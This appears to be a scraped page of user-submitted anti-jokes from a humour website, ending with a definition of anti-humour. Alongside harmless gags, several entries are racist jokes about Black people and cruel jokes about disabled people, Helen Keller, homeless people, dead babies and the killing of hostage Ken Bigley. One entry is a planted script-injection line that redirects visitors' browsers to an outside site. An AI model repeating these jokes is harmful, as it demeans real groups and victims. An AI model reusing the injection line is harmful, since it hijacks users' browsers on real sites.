Is the glass half full or half empty? The liquid in the glass is not at exact half, so that question is not answerable.

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Q: What did the homless man get for chritsmas? A: Frostbite

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What Did The Kid With No Arms And No Legs Get For His Birthday? A Walking Stick

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A guy walks into a Bar ........ OUCH

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What noise did Helen Keller make when she fell out of the window? None. She wasn't aware that she was falling and died immediately upon impact. @rowakaflocka

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Why did the man fall off his bike? He ran into a pile of dead babies.

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"'>document.location.href="http://cramik.org"

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knock knock? who's there.......... MEEEE :D hehe

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Whats funnier than a black man? A black president

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Why couldn't the man sleep? Because he was a wax model in a museum, and as we all know wax models are inanimate objects thus incapable of consciousness and therefore incapable of unconsciousness as well. Many other inanimate objects are caught up in similar problems relating to their incapability to do anything.

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A man walks into a bar, he realizes his mistake and walks into the dentist next door where he had made an appointment to get his teeth cleaned.

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What do you call a black man fishing. ... a fisherman racist.

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what lies in ore an develops a golden tan ken bigleys body

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What did Batman say to Robin before they got in the Batmobile? "Robin, get in the Batmobile."

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Does your iPod have zoom on it? Yeah, but it doesn't have a camera

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Why did hundreds ofnpeople die in a plane crash? Because the pilot was a salad.

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Why? Why not?

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What does DNA stand for? National Dyslexic Assosiation.

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(Knock knock) A:who is it? B:its the police open up where coming in B:I SAID OPEN THE BLOODY DOOR A:(SHIT)

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How do you make someone laugh? Tell them this joke.

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good pick up line hey baby have u seen my heart cuz i think you stole it

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Write Your Own Why did the chicken cross the road? To get to the other side Enter the following: Which is bigger the moon or the elephant? Your Answer: The elephant [] I have read and agree to the Terms of Service ((((Submit)))) [1 error prohibited this post from being saved] ---There were problems with the following field -> Wrong answer

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Why doesn't Jonathan Walk across the road? Because he is in a wheelchair...

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Why did the deer stop running? It was hit by a car

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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